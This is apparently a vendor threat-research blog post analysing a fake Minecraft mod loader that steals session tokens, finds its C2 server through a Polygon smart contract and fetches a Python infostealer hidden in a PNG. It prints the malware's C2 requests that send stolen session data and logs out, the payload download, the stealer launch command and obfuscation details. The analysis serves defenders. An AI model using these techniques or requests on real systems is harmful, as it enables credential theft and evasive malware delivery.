Threat intelligence, Threat Research

Fake Minecraft Mod Uses the Polygon Blockchain to Deliver a Python Infostealer

by Security News

This week, the SonicWall Capture Labs Threat Research Team analyzed a Java-based loader from "SilentNet", a malware family that has been circulating since early 2026 with more than 1,200 samples observed in the wild. The sample named, Farmutils-Loader.jar, poses as a mod for the Minecraft Fabric mod loader and targets players who download mods from outside trusted sources. Once loaded by the game, it pulls the player's Minecraft session token from memory. It then gets its command-and-control (C2) address from a smart contract on the Polygon blockchain, and downloads a portable Python runtime hidden inside a PNG image to run a second-stage infostealer. Every string in the JAR is hidden by per-character arithmetic; it resolves hostnames through DNS-over-HTTPS, and it talks to its C2 through a custom HTTPS client that skips certificate validation. 

Infection Cycle

The JAR is built to pass as an ordinary Fabric library mod. Its "fabric.mod.json" declares a generic identity that a player is unlikely to question:
Manifest metadata
Fig. 1: Fake Fabric mod metadata and the two entry points.

The manifest copies the build metadata that the real Fabric toolchain writes, including Loom, Mixin and Minecraft version fields, so a quick look at the JAR shows nothing out of place. The tell is the package name. Real Fabric code lives under net/fabricmc/. All eight classes in this JAR sit under net/fabric/ and have random names such as dfcsr_pguw and jkyvaHwlUozyKpttxu. The JAR also carries a 256 KB file, assets/lpxhlnrh.bin, filled with random-looking data (entropy 7.999). No class ever reads it. It most likely exists to pad the file and change its hash between builds.

The JAR has two entry points (as seen on Figure 1 above), so it runs whichever way the victim opens it:

Entry PointTriggered when Class
Fabric 'ModInitializer'The JAR is placed in .minecraft\mods and the game starts net.fabric.fze_hvrjbu_wdyca
Main-ClassThe victim double-clicks the JAR net.fabric.kbzNode

No readable string is stored in the class files. Each character is rebuilt at runtime from a pair of integer constants combined with XOR or subtraction, then cast to a "char". The bytecode for the first characters of 'net.minecraf' looks like this:

sipush  21396
sipush  21498
ixor            // 21396 ^ 21498 = 'n'
i2c
castore
ldc     37262
ldc     37355
ixor            // 37262 ^ 37355 = 'e'
i2c
castore

A second variant pushes each character with "isub" straight into "StringBuilder.append(char)". Strings are also split into fragments across separate builders, and junk long arithmetic is interleaved to break up the patterns.

Fig. 2: Per-character XOR and subtraction string encoding in the bytecode.
Fig. 2: Per-character XOR and subtraction string encoding in the bytecode.

When Fabric loads the mod, 'onInitialize()' first finds the game directory. It checks the current working directory for 'options.txt' and a 'mods' folder, and falls back to '%APPDATA%\.minecraft'. Class 'rw_wn_km' then uses Java reflection to reach the running game client and read the active session. To work across game builds, it tries both the readable (Yarn) names and the obfuscated intermediary names that Minecraft uses at runtime.

The values are packed into a JSON blob:

json
{"username":"<name>","uuid":"<uuid>","accessToken":"<token>"}

This is the Minecraft services access token, not the victim's Microsoft account password. It lets an attacker use Minecraft services as the victim until the token expires, typically about 24 hours.

Fig. 3: Reflection into the Minecraft client to read the session.
Fig. 3: Reflection into the Minecraft client to read the session.

The loader doesn't do its main work inside the Minecraft process. It builds a context object around the stolen session:

json
{"mcInfo":"<session json>","prefireId":"...","userId":"...","tag":"...","domain":"...",
"gameDir":"<path>","mcUsername":"<name>","mcUuid":"<uuid>","env":"Fabric"}

It then finds 'javaw.exe' (falling back to 'java.exe') under the running JVM's 'java.home', and starts a second copy of the JAR as a detached process with '-cp <jar>'. Standard input and output are pointed at 'NUL', and errors go to a log file:

  • %LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\_spawn.log

The folder name 'NtProfileIndex' is chosen to look like a Windows component. If the victim double-clicks the JAR instead, 'kbzNode.main' does the same thing: it relaunches itself with a '-restarted' argument. In that case there is no game session to steal, the session field is 'null', and the environment is tagged 'DoubleClick'. The rest of the chain runs either way. This shows that the token theft is a bonus, and the real goal is to deliver the next stage.

The detached process logs 'DETACHED PROCESS STARTED' and then has to find its C2 server. Instead of hardcoding it, the loader reads it from a smart contract on the Polygon network. This dead-drop technique is often called **EtherHiding**. It sends a standard read-only JSON-RPC 'eth_call':

json
{"jsonrpc":"2.0","method":"eth_call",
"params":[{"to":"0x9c0a507300fd902787bb193d80fca5ce6e1bff9a","data":"0xce6d41de"},"latest"],"id":1}

It tries five public Polygon RPC endpoints in turn until one answers:

  • https://polygon.drpc.org
  • https://polygon-bor-rpc.publicnode.com
  • https://1rpc.io/matic
  • https://api.zan.top/polygon-mainnet
  • https://rpc-mainnet.matic.quiknode.pro

The reply is an ABI-encoded string, which the loader decodes into a domain name. If every endpoint fails, it falls back to a hardcoded domain, 'thisisafalsepositive.st', named to make an analyst second-guess the detection. During analysis, the Capture Labs team queried the contract with a read-only call and it returned the same domain.

This design gives the operator two advantages. A blockchain record can't be taken down like a domain or hosting account. And the operator can point every infected machine at a new server with a single contract transaction, without rebuilding or redistributing the JAR.

Fig. 4: C2 lookup through the Polygon smart contract.
Fig. 4: C2 lookup through the Polygon smart contract.

The loader does not use Java's standard HTTP classes. Class 'jkyvaHwlUozyKpttxu' implements its own HTTP/1.1 client over raw TLS sockets, writing request lines and headers by hand:

POST /shard/prefireMc HTTP/1.1
Host: <c2>
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
X-Edge-Cache-Revalidate: stale-if-error
X-Runtime-Env: jre-embedded

Two things in this client are built to evade defenders:

  • Certificate checks are disabled. A nested class implements 'X509TrustManager' with empty 'checkServerTrusted' and 'checkClientTrusted' methods, so any certificate is accepted.
  • Hostnames are resolved over DNS-over-HTTPS. Instead of asking the system resolver, it sends DNS queries to 'https://cloudflare-dns.com/dns-query?dns=' at '1.1.1.1' with 'Accept: application/dns-message', and caches the answers for their TTL. The C2 lookups never show up in local DNS logs and get around DNS-based blocking.

Its first call to the C2 is a check-in to '/shard/prefireMc' with the session and user IDs. The custom headers 'X-Edge-Cache-Revalidate' and 'X-Runtime-Env: jre-embedded' are sent with every C2 request and make good network indicators.

Fig. 5: Trust-all certificate manager and DNS-over-HTTPS lookup.
Fig. 5: Trust-all certificate manager and DNS-over-HTTPS lookup.

Next, the loader downloads what its own log messages call a "portable runtime":

GET https://<c2>/cdn/v2/9f4e7a2c1b8d.png

The request copies the headers a Chrome 131 browser sends when it loads an image ('Accept: image/avif,image/webp,...', 'Sec-Fetch-Dest: image', 'Sec-Fetch-Mode: no-cors', 'Sec-Fetch-Site: same-origin'), so to network monitoring it looks like an ordinary image fetch. Failed downloads are retried.

The file is a valid PNG. The loader checks for the 8-byte PNG signature ('89 50 4E 47 0D 0A 1A 0A'), pulls its payload out of a data chunk inside the image, decompresses it with zlib ('Inflater'), and unzips the result into:

  • %LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\

The archive holds a self-contained Python interpreter ('python.exe') and a script at 'AppHost\main.py'. The victim doesn't need Python installed. If the runtime is already there from an earlier infection, the loader skips the download and logs 'Portable runtime already cached'.

With the runtime in place, the loader logs 'Spawning stealer...' and starts the script as another detached process, passing it everything it has gathered:

python.exe -u AppHost\main.py --env <Fabric|DoubleClick> --tag <campaign> --mcInfo <session json> --prefireId <id>

Output goes to '_stealer.log' in the same folder, and the loader records 'Stealer spawned: pid=<n>'. The '--mcInfo' argument hands the stolen Minecraft session to the Python stage. Because the stealer also runs when no game session exists, it almost certainly collects more than game data. The second stage was not retrieved for this analysis, so its exact targets are unconfirmed. Stealers spread through game-mod lures commonly go after browser passwords and cookies, Discord tokens and cryptocurrency wallets.

Fig. 6: PNG stage-2 download and Python stealer launch.
Fig. 6: PNG stage-2 download and Python stealer launch.

Finally, the loader reads the game's own log at '<gameDir>\logs\latest.log', cuts it down if it is too long, and adds a runtime section with the Java version, OS name and Windows username, plus the contents of its spawn logs. It sends the bundle to the C2:

POST https://<c2>/shard/submitMinecraftLog
{"userId":"...","content":"<logs>","filename":"combined.log",
"mcUsername":"<name>","mcUuid":"<uuid>","executionEnvironment":"<env>-Detached"}

This gives the operator a record of each infection and whether the second stage launched.

The sample carries a hardcoded user ID, 'fd4ab55f-36ee-44cc-a15d-c6333cfa1a85', and the campaign tag 'Farmutils', both sent with every C2 request. These are consistent with a builder that stamps each distributed JAR with an affiliate or campaign identifier.

This layered approach (a convincing fake mod, per-character string obfuscation, a blockchain dead drop for C2, DNS-over-HTTPS, a payload hidden in a PNG and a self-contained Python runtime) puts a lot of engineering into what looks at first like a simple game-token grabber. None of these techniques is new on its own. Combined in a single JAR aimed at Minecraft players, a large and often young audience used to installing mods from third-party sites, they make SilentNet a good example of how commodity stealer operations are adopting infrastructure-resilience tricks once limited to more advanced campaigns.

Sonicwall Protection

SonicWall Capture Labs protects against this threat via the following signature:

  • GAV: Java.Agent.S_28 (Trojan)

This threat is also detected by SonicWall Capture ATP with RTDMI™, SonicWall Endpoint Security, and the Capture Client endpoint solution.

 

Share This Article

An Article By

Security News

The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.

Related Articles

  • Les derniers renseignements sur les menaces révèlent une montée en puissance du cryptojacking
    Read More
  • Les dernières données sur les menaces montrent un  déplacement des lignes de front cybernétiques en 2022.
    Read More
  • Menaces au premier semestre 2022: Les forces géopolitiques redéfinissent les fronts de la cybercriminalité
    Read More